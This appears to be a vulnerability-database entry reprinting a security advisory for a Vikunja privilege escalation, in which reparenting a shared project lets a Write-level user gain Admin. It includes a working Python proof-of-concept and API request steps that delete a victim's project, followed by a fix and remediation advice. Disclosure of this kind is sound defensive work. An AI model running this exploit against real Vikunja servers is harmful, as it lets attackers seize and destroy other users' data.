Severity by source
AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:L
Primary rating from GitHub Advisory · only source for this CVE.
CVSS VectorGitHub Advisory
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:L
Lifecycle Timeline
5DescriptionGitHub Advisory
Summary
A user with Write-level access to a project can escalate their permissions to Admin by moving the project under a project they own. After reparenting, the recursive permission CTE resolves ownership of the new parent as Admin on the moved project. The attacker can then delete the project, manage shares, and remove other users' access.
Details
The CanUpdate check at pkg/models/project_permissions.go:139-148 only requires CanWrite on the new parent project when changing parent_project_id. However, Vikunja's permission model uses a recursive CTE that walks up the project hierarchy to compute permissions. Moving a project under a different parent changes the permission inheritance chain.
When a user has inherited Write access (from a parent project share) and reparents the child project under their own project tree, the CTE resolves their ownership of the new parent as Admin (permission level 2) on the moved project.
if p.ParentProjectID != 0 && p.ParentProjectID != ol.ParentProjectID {
newProject := &Project{ID: p.ParentProjectID}
can, err := newProject.CanWrite(s, a) // Only checks Write, not Admin
if err != nil {
return false, err
}
if !can {
return false, ErrGenericForbidden{}
}
}Proof of Concept
Tested on Vikunja v2.2.2.
1. victim creates "Parent Project" (id=3)
2. victim creates "Secret Child" (id=4) under Parent Project
3. victim shares Parent Project with attacker at Write level (permission=1)
-> attacker inherits Write on Secret Child (no direct share)
4. attacker creates own "Attacker Root" project (id=5)
5. attacker verifies: DELETE /api/v1/projects/4 -> 403 Forbidden
6. attacker sends: POST /api/v1/projects/4 {"title":"Secret Child","parent_project_id":5}
-> 200 OK (reparenting succeeds, only requires Write)
7. attacker sends: DELETE /api/v1/projects/4 -> 200 OK
-> Project deleted. victim gets 404.import requests
TARGET = "http://localhost:3456"
API = f"{TARGET}/api/v1"
def login(u, p):
return requests.post(f"{API}/login", json={"username": u, "password": p}).json()["token"]
def h(token):
return {"Authorization": f"Bearer {token}", "Content-Type": "application/json"}
victim_token = login("victim", "Victim123!")
attacker_token = login("attacker", "Attacker123!")
# victim creates parent -> child project hierarchy
parent = requests.put(f"{API}/projects", headers=h(victim_token),
json={"title": "Parent Project"}).json()
child = requests.put(f"{API}/projects", headers=h(victim_token),
json={"title": "Secret Child", "parent_project_id": parent["id"]}).json()
# victim shares parent with attacker at Write (attacker inherits Write on child)
requests.put(f"{API}/projects/{parent['id']}/users", headers=h(victim_token),
json={"username": "attacker", "permission": 1})
# attacker creates own root project
own = requests.put(f"{API}/projects", headers=h(attacker_token),
json={"title": "Attacker Root"}).json()
# before: attacker cannot delete child
r = requests.delete(f"{API}/projects/{child['id']}", headers=h(attacker_token))
print(f"DELETE before reparent: {r.status_code}")
# 403
# exploit: reparent child under attacker's project
r = requests.post(f"{API}/projects/{child['id']}", headers=h(attacker_token),
json={"title": "Secret Child", "parent_project_id": own["id"]})
print(f"Reparent: {r.status_code}")
# 200
# after: attacker can now delete child
r = requests.delete(f"{API}/projects/{child['id']}", headers=h(attacker_token))
print(f"DELETE after reparent: {r.status_code}")
# 200 - escalated to Admin
# victim lost access
r = requests.get(f"{API}/projects/{child['id']}", headers=h(victim_token))
print(f"Victim access: {r.status_code}")
# 404 - project goneOutput:
DELETE before reparent: 403
Reparent: 200
DELETE after reparent: 200
Victim access: 404The attacker escalated from inherited Write to Admin by reparenting, then deleted the victim's project.
Impact
Any user with Write permission on a shared project can escalate to full Admin by moving the project under their own project tree via a single API call. After escalation, the attacker can delete the project (destroying all tasks, attachments, and history), remove other users' access, and manage sharing settings. This affects any project where Write access has been shared with collaborators.
Recommended Fix
Require Admin permission instead of Write when changing parent_project_id:
if p.ParentProjectID != 0 && p.ParentProjectID != ol.ParentProjectID {
newProject := &Project{ID: p.ParentProjectID}
can, err := newProject.IsAdmin(s, a)
if err != nil {
return false, err
}
if !can {
return false, ErrGenericForbidden{}
}
canAdmin, err := p.IsAdmin(s, a)
if err != nil {
return false, err
}
if !canAdmin {
return false, ErrGenericForbidden{}
}
}--- *Found and reported by aisafe.io*
AnalysisAI
Privilege escalation in Vikunja API (v2.2.2 and prior) allows authenticated users with Write permission on a shared project to escalate to Admin by reparenting the project under their own hierarchy. The vulnerability exploits insufficient authorization checks in project reparenting (CanWrite instead of IsAdmin), causing the recursive permission CTE to grant Admin rights. Attackers can then delete projects, remove user access, and manage sharing settings. Publicly available exploit code exists.
Technical ContextAI
Inadequate authorization in pkg/models/project_permissions.go:139-148 checks only CanWrite when updating parent_project_id. Recursive CTE permission resolution inherits ownership from new parent, granting Admin (level 2) on moved project. Root cause: CWE-269 (Improper Privilege Management) - reparenting operation changes permission inheritance chain without validating Admin rights on both source and destination projects.
RemediationAI
Vendor-released patch: upgrade to Vikunja v2.3.0 or later, which enforces Admin permission checks on both source and destination projects before allowing parent_project_id changes (commit c03d682f48aff890eeb3c8b41d38226069722827, PR #2583). For environments unable to upgrade immediately: restrict Write permissions on shared projects to trusted users only, audit existing project hierarchies for unauthorized reparenting, and monitor API logs for POST requests to /api/v1/projects/{id} with parent_project_id field modifications. Official advisory with full technical details available at https://github.com/go-vikunja/vikunja/security/advisories/GHSA-2vq4-854f-5c72. Release notes: https://github.com/go-vikunja/vikunja/releases/tag/v2.3.0
Wazuh SIEM platform versions 4.4.0 through 4.9.0 contain an unsafe deserialization vulnerability in the DistributedAPI t
BentoML version 1.4.2 and earlier contains an unauthenticated remote code execution vulnerability through insecure deser
pgAdmin 4 contains critical remote code execution vulnerabilities in the Query Tool download and Cloud Deployment endpoi
The renderLocalView function in render/views.py in graphite-web in Graphite 0.9.5 through 0.9.10 uses the pickle Python
BentoML is a Python library for building online serving systems optimized for AI apps and model inference. Rated critica
OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h does not properly restrict processing of ChangeCiph
pyLoad download manager version prior to 0.5.0b3.dev77 exposes the Flask SECRET_KEY through an unauthenticated endpoint.
In Mercurial before 4.1.3, "hg serve --stdio" allows remote authenticated users to launch the Python debugger, and conse
Unauthenticated remote code execution in Marimo ≤0.20.4 allows attackers to execute arbitrary system commands via the `/
pyLoad is the free and open-source Download Manager written in pure Python. Rated medium severity (CVSS 5.3), this vulne
Langflow (a visual LLM pipeline builder) contains a critical unauthenticated code execution vulnerability (CVE-2026-3301
Cross-user flow execution in Langflow (< 1.9.1) lets any authenticated API-key holder run another user's flow by passing
Same weakness CWE-269 – Improper Privilege Management
View allSame technique Privilege Escalation
View allShare
External POC / Exploit Code
Leaving vuln.today
EUVD-2026-21418
GHSA-2vq4-854f-5c72